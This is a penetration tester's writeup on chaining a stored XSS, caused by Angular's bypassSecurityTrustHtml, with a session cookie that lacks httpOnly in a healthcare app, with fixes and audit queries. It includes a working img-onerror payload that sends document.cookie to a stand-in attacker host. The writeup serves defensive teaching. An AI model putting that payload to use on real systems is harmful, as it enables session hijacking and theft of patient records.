moizxsec
← all writeups
· Critical · CVSS 9.0 · Class · 6 min read

Angular bypassSecurityTrustHtml + Missing httpOnly = Session Hijack on a PHI App

Angular ships a sanitiser specifically to keep developers out of trouble. Calling bypassSecurityTrustHtml() turns that protection off for the rest of the request lifecycle, and most codebases that reach for it do so without grasping how complete the bypass is. Combine that with an auth-token cookie that's missing the httpOnly attribute, and the result is a single stored payload that exfiltrates every viewer's session — including the administrators reviewing the affected record. Walked end-to-end on a HIPAA-scope application; client identifiers redacted.

Two findings on their own. A Stored XSS finding via Angular’s bypassSecurityTrustHtml() escape hatch, and an auth-token cookie missing httpOnly configuration note. Either one in isolation gets filed Medium. Together they chain into a no-interaction, no-tooling, fully-automated session hijack that fires the moment any authenticated user — including an administrator — opens the affected record.

This is the class of finding that gets stamped High individually and Critical when correlated. Walked here as a chained writeup because the chain is the whole point. Specifics are sanitised from an authorised assessment on a HIPAA-scope healthcare application; the patterns are generic to any Angular codebase serving any sensitive data.

The two ingredients#

Ingredient 1 — bypassSecurityTrustHtml#

Angular’s DomSanitizer is the framework’s primary XSS defence. When you bind a string into the DOM with [innerHTML], Angular runs that string through the sanitiser and strips anything dangerous — <script> tags, event handlers, javascript: URLs, the standard catalogue. The defence is enabled by default; you’d have to actively opt out of it to get a script tag into the page.

bypassSecurityTrustHtml() is the opt-out:

// reports.service.ts
sanitizeHtml(text: string): SafeHtml {
  return this.sanitizer.bypassSecurityTrustHtml(text);
}

The method name is doing all the work the developer should be doing. It says bypass security trust. It returns a SafeHtml token that Angular will subsequently insert into the DOM verbatim, with no sanitisation, no matter how the value got there. The reason codebases reach for it is almost always benign: a product team wants formatted output (bold, italic, lists) and the path-of-least-resistance is to opt out of sanitisation rather than write a deny-list/allow-list HTML cleaner. It’s a footgun precisely because the benign motivation looks reasonable in code review.

Once the bypass is in place, every value flowing through that method into an [innerHTML] binding is treated as trusted markup. The trust is transitive across the type system — a SafeHtml value can be passed around freely without Angular ever reconsidering whether it actually deserved that trust.

The application’s authentication token was set on login via:

// auth.controller.ts
res.cookie('app.session', token, {
  secure: true,
  sameSite: 'lax',
  // httpOnly: <missing>
});

The cookie is Secure. It has SameSite=Lax. What it doesn’t have is HttpOnly. That single missing attribute means JavaScript in the same origin can read the cookie value via document.cookie. Any XSS that lands on the application can extract the cookie trivially — no DOM-clobbering, no complex same-site bypass.

This is the second time in this writeup where the configuration is almost right. Secure

  • SameSite=Lax is a reasonable starting point; the missing HttpOnly is the line of defence that turns a contained XSS into a session-takeover XSS.

The chain#

Putting them together. The vulnerable codepath stores user-supplied “exam report” text in a database and renders it into the DOM via the bypassSecurityTrustHtml-tainted template:

<!-- report-view.component.html -->
<div [innerHTML]="report.sanitizedBody"></div>

A user with write access to an exam record posts an updated report containing:

<img src=x onerror="
  fetch('https://attacker.example/c?='+document.cookie)
">

Angular’s normal sanitiser would strip the onerror attribute outright. The bypass means it doesn’t. The text is stored to the database verbatim. Anyone who later loads the affected exam — clinicians reviewing the record, administrators auditing it, supervisors approving it — runs the img onerror handler. The handler reads document.cookie (because no HttpOnly), packages the session cookie, and ships it to the attacker’s webhook.

The attacker imports the token, replays it against the API, and operates as whichever victim’s session arrived first.

A second sink, just for completeness#

While auditing the chain I found a second sink for the same bypass-tainted data — a different component using Renderer2.setProperty(el, 'innerHTML', ...) rather than the template [innerHTML] binding:

// history.component.ts
this.renderer.setProperty(this.el.nativeElement, 'innerHTML', report);

Patching only the template binding without patching the renderer call would have left the chain intact — same payload, different control path to the DOM. The lesson, repeated: sanitisation has to live at the source of the trust decision, not at every consumer.

Why severity rolls up to Critical#

Scored individually, each finding lands in the High band — XSS is High, missing HttpOnly on a session cookie is High. The CVSS rollup for the chain on a HIPAA-scope application is:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N  = 9.0

The Scope=Changed propagates because the XSS payload exfiltrates a session that grants access to other user accounts — including administrators with broader privileges than the attacker started with. The User Interaction = None is the property that really drives the severity: a clinician opening a patient record in the normal flow of their workday is not interacting with anything they wouldn’t normally interact with. The payload fires silently in the background.

In a HIPAA context, the bonus property is regulatory exposure: PHI is, by definition, in scope of the breach-notification rules. A session takeover that hands an attacker administrator-level access to patient records crosses the ICO / OCR reportability threshold without ambiguity.

Remediation#

The three things, in the order they should land:

1. Remove bypassSecurityTrustHtml from the codebase#

Wherever the bypass exists today, replace it with this.sanitizer.sanitize(SecurityContext.HTML, value):

// reports.service.ts — corrected
sanitizeHtml(text: string): string {
  return this.sanitizer.sanitize(SecurityContext.HTML, text) ?? '';
}

The default sanitiser strips dangerous content but preserves benign formatting. The product-team’s reason for opting out — wanting bold/italic/lists — is met by the default. If a richer subset is genuinely required (tables, links with specific attributes), introduce DOMPurify with a tight allow-list and serve the DOMPurify-cleaned string through the default sanitiser. Don’t bypass.

2. Patch every sink#

The renderer-call sink needs its own treatment:

// history.component.ts — corrected
this.renderer.setProperty(this.el.nativeElement, 'textContent', report);

textContent over innerHTML is the right default for any value derived from user-controlled storage. If markup is required, route it through the corrected sanitiser above.

res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  // ...
});

The combination — HttpOnly plus Secure plus SameSite — is what neuters the chain even if a future XSS slips through. Defence in depth: a successful XSS on the page should not be a successful session theft.

4. Audit server-side too#

Don’t rely on Angular’s sanitiser as the only line of defence. Sanitise rich text at the API layer using a server-side library (DOMPurify in JSDOM, bleach if Python). Two independent sanitisers are not redundant; they are the only reasonable design when one of them lives in the browser.

Hunting for this in your own codebase#

Three queries, in decreasing order of certainty:

# Direct calls — almost always a finding.
grep -rn 'bypassSecurityTrustHtml\|bypassSecurityTrustScript\|bypassSecurityTrustResourceUrl' .

# Indirect — every `[innerHTML]` binding deserves a look.
grep -rn '\[innerHTML\]' .

# Sneakier — Renderer2 setProperty for innerHTML.
grep -rn "setProperty.*innerHTML" .

Then for cookie hygiene:

grep -rn "res\.cookie\|setCookie" backend/ | grep -v "httpOnly"

Anything that returns hits and isn’t already audited is a Tuesday afternoon’s work to review and fix.

What this writeup is really about#

Both ingredients exist because they’re convenient and the developer who reached for them had a benign reason. bypassSecurityTrustHtml() exists for legitimate Angular use cases. Cookies without HttpOnly exist because frontend code sometimes legitimately needs to read the cookie (single-page apps doing manual CSRF token handling, for instance).

The reason the chain lands is that the same convenience appears in both places on the same request lifecycle for the same underlying reason: the team optimised one function at a time. Nobody sat down and asked the question “if our Angular sanitiser is bypassed, what’s the next line of defence on the cookie?” and verified that the answer wasn’t “we don’t have one”.

That’s the audit-question pattern that matters across this whole class of finding. For each defence-in-depth control you rely on, ask: if this one fails, what’s the next layer that catches the attack? When the honest answer is “nothing”, you have a chain. The fix is adding the layer, not deepening the first one.

Related writeups

Found a mistake or want to discuss this research? Email.

All research conducted under authorisation or responsible-disclosure policy. Client identifiers redacted where applicable.